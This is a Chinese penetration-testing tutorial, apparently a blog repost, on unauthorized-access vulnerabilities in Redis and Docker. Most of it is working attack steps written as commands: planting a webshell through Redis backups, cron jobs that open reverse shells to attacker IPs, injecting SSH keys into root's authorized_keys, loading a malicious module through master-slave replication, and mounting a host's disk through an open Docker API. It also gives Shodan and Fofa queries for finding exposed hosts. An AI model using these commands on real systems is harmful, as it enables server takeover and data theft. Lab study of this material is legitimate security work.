未授权访问漏洞

未授权访问漏洞

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见未授权访问漏洞

Redis 未授权访问漏洞
Docker 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

Redis未授权访问

Redis简介

https://www.redis.com.cn/redis-intro.html

  • Redis 简介

    Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

  • 应用场景

    Redis 主要有两个应用场景:

    1. 存储缓存用的数据;
    2. 需要高速读/写的场合使用它快速读/写;
  • Redis 架构

    Redis 主要由有两个程序组成:

    Redis 客户端 redis-cli
    Redis 服务器 redis-server

    客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞发现

  • 端口

Redis 服务默认监听在6379端口上

MongoDB:27017
Memcached:11211
Jboss:8080
VNC:5900、5901
Docker:2375
  • 端口探测

nmap端口扫描

nmap -v -Pn -p 6379 -sV IP

-v:显示过程
-Pn:no ping
-sV:版本探测

Redis常用命令

redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World"			# 设置键testkey的值为字符串
get testkey							# 获取键testkey的内容

set score 99						# 设置键score的值为99
incr score							# 使用INCR命令将score的值增加1
get score							# 获取键score的内容

keys *								# 列出当前数据库中所有的键
config set dir /home/test			# 设置工作目录
config set dbfilename redis.rdb 	# 设置备份文件名
config get dir						# 检查工作目录是否设置成功
config get dbfilename				# 检查备份文件名是否设置成功
save								# 进行一次备份操作
flushall							# 删除所有数据
del key								# 删除键为key的数据

Redis历史漏洞

  • Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露
  2. 执行 flushall 可清空所有数据
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)
  4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录
  • Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

漏洞利用

漏洞环境搭建

这里使用的是 vulapps 具体教程见前面的云服务器与 Docker

https://github.com/Medicean/VulApps/tree/master/r/redis/1

docker pull medicean/vulapps:r_redis_1
docker run -dit -p 6379:6379 -p 2222:22 medicean/vulapps:r_redis_1

-p 22:22 前面的 22 代表物理机的端口,可随意指定。

漏洞利用方法

这里我利用的是 CFS 三层靶机环境,上面搭建的靶场只能使用第三种方法来实现即通过 redis 数据备份功能写 SSH 公钥,实现免密登录linux 服务

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务
  • 包管理器安装 redis-cli 客户端
  1. 包管理器安装
apt install redis-tools
  1. 源码安装
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz 	//解压
cd redis-6.0.3/
make	 //编译
cd src/
cp redis-cli /usr/bin 	//客户端连接程序
写webshell
  • 条件
  1. 知道网站根目录绝对路径,比较麻烦,需要一个一个试,有可能试不出来,主要了解原理
  2. 对目标网站根目录有写入权限
redis-cli -h 192.168.164.135 -p 6379

config set dir /var/www/html 或者 /www/wwwroot/(一般这两个为默认目录)

config set dbfilename shell.php

set x ""

save

之后可以用蚁剑、冰蝎、哥斯拉之类的 Webshell 管理工具软件连接

写定时任务反弹shell
redis-cli -h 192.168.164.135 -p 6379

set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.164.133/4433 0>&1\n\n"
//这里的地址要写操作主机的地址,这里设置的是一分钟后反弹

config set dir /var/spool/cron

config set dbfilename root

save

在本地监听 4433 端口,等待一分钟后回连

nc -lvnp 4433
写SSH公钥
默认情况下,生成的SSH密钥在用户家目录的 .ssh 目录下
ssh-keygen -t rsa

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt | redis-cli -h 192.168.164.135 -p 6379 -x set m
//将生成的公钥的值写入目标服务器
//加上 \n\n 是为了不破坏 ssh public key
//m 是设置的 key,可随意指定

redis-cli -h 192.168.164.133 -p 6379

config set dir /root/.ssh/

config set dbfilename "authorized_keys"

save
//将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件。

ssh [email protected] -i ~/.ssh/id_rsa
//通过 ssh 连接目标,默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定。
主从复制RCE***非常好用

如果把数据存储在单个 Redis 的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis 就提供了主从模式,主从模式就是指使用一个 redis 实例作为主机,其他实例都作为备份机,其中 主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在 Reids 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,通过写C语言并编译出 .so 文件。

  1. 手动编译 so 扩展文件
编译生成so扩展文件

cd /home/kali/Desktop/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand-master
cd RedisModules-ExecuteCommand-master
make
  1. 脚本利用Redis主从复制RCE

https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell

cd /home/kali/Desktop/

git clone https://github.com/Ridter/redis-rce-master

cd redis-rce-master

python3 -m pip install -r requirements.txt

cp /home/kali/Desktop/RedisModules-ExecuteCommand/module.so ./module.so

python3 redis-rce.py -r 192.168.164.133 -p 6379 -L 192.168.164.133 -P 7890 -f module.so

未授权访问漏洞_第1张图片

也可以借助这个工具,在 redis-cli 实现虚拟终端

redis-cli -h 192.168.164.133 -p 6379
config get dir
config get dbfilename
system.exec "id"

脚本原理

  1. 首先连接目标未授权redis服务
  2. 发送配置主从模式的命令到目标redis服务

命令如下:

slaveof 47.104.255.11 7890
config set dbfilename module.so
  1. 监听 192.168.164.135:7890 作为 redis 主机
  2. 目标机器(从机)从主机复制 module.so 内容保存到 redis 服务器的 module.so 文件中
  3. 目标机器加载 module.so 扩展模块
MODULE LOAD ./module.so
  1. 执行命令
system.exec "命令"

Docker未授权访问

漏洞成因

Docker API 未授权

漏洞发现

  • 端口

Docker API :默认开放在2375端口

  • 默认页面

通过url的方式调用 API ,返回 {“message”:“page not found”} 代表存在漏洞

  • Fofa
port="2375" protocol="docker" country="US"
  • Shodan
port:2375 org:"Amazon.com"

漏洞利用

  • 查看 docker 信息

可以使用 /version 、 /info 可以查看其他信息

  • 利用步骤
  1. 在已经安装docker的vps上,使用-H参数连接目标主机的docker,使用images命令查询目标系
    统存在的镜像。
docker -H tcp: xx.xx.xx.xx:2375 images
  1. 使用docker命令创建一个容器,并将宿主机的磁盘挂载到容器中
docker -H tcp: xx.xx.xx.xx:2375 run -it rm -v /:/mnt 镜像id /bin/bash
  • 反弹 Shell (写公钥)

在vps上生成公钥,并将其写入到目标机器宿主机的 /root/.ssh/authorized_keys 文件中,即可直接免密登录目标机器

  1. 生成公钥
ssh-keygen –t rsa
  1. SSH 连接
ssh root@ip –i id_rsa
  • 写入 crontab 反弹 Shell

可以挂载 var/ 目录,将反弹 Shell 的脚本写入到 /var/spool/cron/root ( centos 系统)或 /var/spool/cron/crontabs/root ( ubuntu 系统)

echo "* * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" > /mnt/var/spool/cron/root

你可能感兴趣的:(渗透测试,网络安全)